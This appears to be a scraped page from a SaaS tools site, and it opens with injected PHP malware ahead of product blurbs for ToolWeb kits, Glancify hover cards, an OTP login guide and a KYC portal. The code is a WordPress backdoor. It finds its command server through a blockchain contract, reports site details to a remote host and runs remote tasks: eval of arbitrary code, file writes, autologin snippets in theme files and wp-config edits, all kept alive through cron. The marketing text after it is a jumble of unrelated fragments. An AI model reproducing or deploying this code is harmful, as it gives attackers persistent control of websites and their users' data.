// a5_g3
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/home/toolweb.in/public_html/wp-content/plugins/wp-helper-be968e/wp-helper-be968e.php',
'ctrl'=>'// a5_g3',
'vis'=>'// s3_o0',
'vis_func'=>'wp_17gkrm',
'vis_paths'=>array('/home/toolweb.in/public_html/wp-content/plugins/wp-helper-be968e/wp-helper-be968e.php'),
'opt'=>'_wp_6fzlbmcy',
);
$keys=array();
$keys['id']='ipv';
$keys['ver']='o4';
$keys['caps']='da8';
$keys['tasks']='8ge';
$keys['interval']='b3q';
$keys['ack_id']='aic';
$keys['ok']='ye';
$keys['detail']='ajx';
$keys['inv']='iio';
$keys['result']='jmb';
$hdr='X-V79-Auth';$tok='sXef68sbRkYR2AbeuLjWT8y8Hx1dCwso10dPIS2aD6I';$id='f528956e58a4985d';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Introducing ToolWeb MVPs SaaS Kit without MVPs, we can add unlimited number of Pay-per-run MVP tools in this SaaS-Kit
BUILT WITH:Β PHP 8.3 + LiteSpeed on VPS – FastAPI Python backends – OTPLY Email OTP Authentication (no passwords!) – Polar Payments (secure checkout) – MySQL database – Passwordless Authentication
ACCESS PRICING CONFIGURED:
Monthly Plan β $29/month
Annual Plan β $99/year (Save $249!),
One subscription unlocks ALL 9 tools as such
No per-tool charges. Ever.
Key Features
OTP-based authentication via OTPLY for all users,Β
Automatic admin elevation for whitelisted email addresses,
WFH / WFO tracking with seat number capture,
Real-time dashboard with charts and KPI cards,
Employee-scoped views β users see only their own data,
Admin CRUD for employees, departments, and settings,
Printable reports with WFH/WFO breakdown by department and SQLite backend β zero external database dependency
This standalone edition requires no WordPress, no login system, no coin payments. Just Python, a web server with SSL, and an Anthropic API key.
]]>RAG Wiki Builder is an AI-powered personal knowledge base second brain tool. Upload .md or .txt files and the system generates a structured, cross-linked wiki using Claude AI. Query it in plain English β answers come only from your uploaded content, not the internet.
This standalone edition requires no WordPress, no login system, no coin payments. Just Python, a web server with SSL, and an Anthropic API key.
A downloadable link will be provided for accessing all the original documents and original decksΒ
]]>
Template Information
Workflow Architecture
Node Structure
The automation consists of 6 interconnected nodes that handle the complete contract generation process:
Please visit our SaaS platform https://toolweb.in for more pay-per-run tools and MicroSaaS resources.
]]>
Glancify – Interactive Hover Cards That Turn Keywords into Instant Learning
Ever wished your readers could learn more about a topic without leaving your page? Glancify makes it happen!
Glancify is an interactive Wikipedia-style hover card system that displays curated learning resources whenever users hover over keywords on your website. No clicks, no redirects β just instant access to tutorials, documentation, videos, and more.
WHAT IS GLANCIFY?
Glancify transforms static text into an interactive learning experience. When a user hovers over a highlighted keyword, a beautifully designed card appears with handpicked resources β courses, articles, YouTube videos, official docs, and tools.
HOW IT WORKS:
1. Add Glancify script to your website
2. Mark keywords you want to enhance
3. Users hover β Instant resource cards appear
4. Learning happens without leaving your page
KEY FEATURES:
–
Hover-to-learn interaction β No clicks required
–
Curated resource cards β Quality over quantity
–
Customizable design β Match your brand
–
Lightweight & fast β Won’t slow your site
–
Easy API integration β Works with any platform
–
Analytics dashboard β Track engagement
–
Enterprise ready β White-label options available
PERFECT FOR:
– EdTech platforms & online courses
– Technical documentation & wikis
– Blogs & content websites
– Learning Management Systems (LMS)
– Developer portals & API docs
– Knowledge bases & help centers
WHY GLANCIFY?
– Increases time-on-page by 40%+
– Reduces bounce rate
– Enhances user learning experience
– Boosts content engagement
– Zero disruption to reading flow
Get Started: https://toolweb.in/glancify
Contact: info@toolweb.in
#Glancify #EdTech #InteractiveLearning #HoverCards #WebDevelopment #API #SaaS #LearningTools #Documentation #ContentEngagement #ToolWeb #KnowledgeBase #E-Learning
]]>
Building Passwordless Authentication: A Complete Guide to Email OTP Login
Say goodbye to password fatigue. Here’s how to build a secure, user-friendly OTP authentication system in under 200 lines of code.
WHAT IS OTPLY EMAIL AUTHENTICATION CLIENT CODE?This is Email Authentication Client Code leveraging the OTPLY the central software to get the API Key and Secret and configure in this client code and make it work for the user’s application to run successfully with the modern password-less feature.
Let’s be honest: passwords are a mess. Users forget them, reuse weak ones across multiple sites, and the constant “reset password” dance frustrates everyone. Meanwhile, developers struggle with secure password storage, complex validation rules, and inevitable security breaches.
What if there was a better way?
Email-based One-Time Password (OTP) authentication is the elegant solution that’s been gaining massive traction. Think of how you log into Slack, Medium, or countless modern appsβjust enter your email, receive a code, and you’re in. No passwords to remember, no complex requirements, just simple and secure.
Today, I’ll walk you through building a complete OTP authentication system from scratch. We’ll create a beautiful, production-ready login flow that you can implement in your own projects.
Our authentication system will feature:
Clean, modern UI with a stunning gradient design
Secure OTP generation with 10-minute expiration
Email delivery through a reliable API service
Session management for authenticated users
Mobile-responsive design that works everywhere
Workflow Purpose
The workflow serves as an intelligent lead generation assistant that:
Architecture Flow
Chat Input β AI Parsing β JSON Extraction β Query Builder β SerpAPI Search β Data Formatting β Google Sheets Storage
Please visit our SaaS platform https://toolweb.in for more pay-per-run tools and MicroSaaS resources.
]]>The workflow serves as a robust image generation API that:
Webhook Request β Image Generation API β Image Download β Binary ResponsePlease visit our SaaS platform https://toolweb.in for more pay-per-run tools and MicroSaaS resources.
]]>This documentation ensures users have a reliable setup for managing and analyzing threat intelligence data in a centralized platform.
What is included in this?
]]>
KYC Portal is very useful, powerful and responsive portal for any company that wishes to know and/or collect documents about their clients (or) vendors (or) employees (or) suppliers (or) partners, etc. In other words: The portal that helps to grab the basic information and documentation about your clients (or) vendors (or) employees (or) Suppliers (or) partners, etc.,
This PHP script supports region-based dynamic form creation, meaning if your clients span across different countries or regions, we as an admin can create dynamic forms based on that country, so when your client logs in, only their country- or region-specific form will be visible for them to upload their details, because each country or each region in the same country follows unique requirements on official documents.
KYC Portal provides a clean dashboard, Reports, Contacts, Blog and Setting options for administration of your client accounts and when you make any change to the source form, your clients can log back in and update that as well, which gives overall completion percentage visibility too.
Eventually, the KYC Portal will provide a cute and handy UI or platform for you to grab details easily, quickly and conveniently with bare minimum options
Points to Note:
1. Admin credentials not been provided for the demo testing site because visitors changing all options, including the admin password. Please excuse us and feel free to reach us at info@mkkpro.com for the admin password
2. Radio button, checkboxes and Text fields are value-added fields in this code, so we havenβt allowed changing/appending these buttons while editing an existing KYC Form, but you can customize it using freelancing resources
Conclusion:Β When a 100% useful tool is available for just 40 dollars, why are you breaking your head to develop a similar tool, Just watch this video if convinced buy it straight away before the price shoots up! Many Thanks
]]>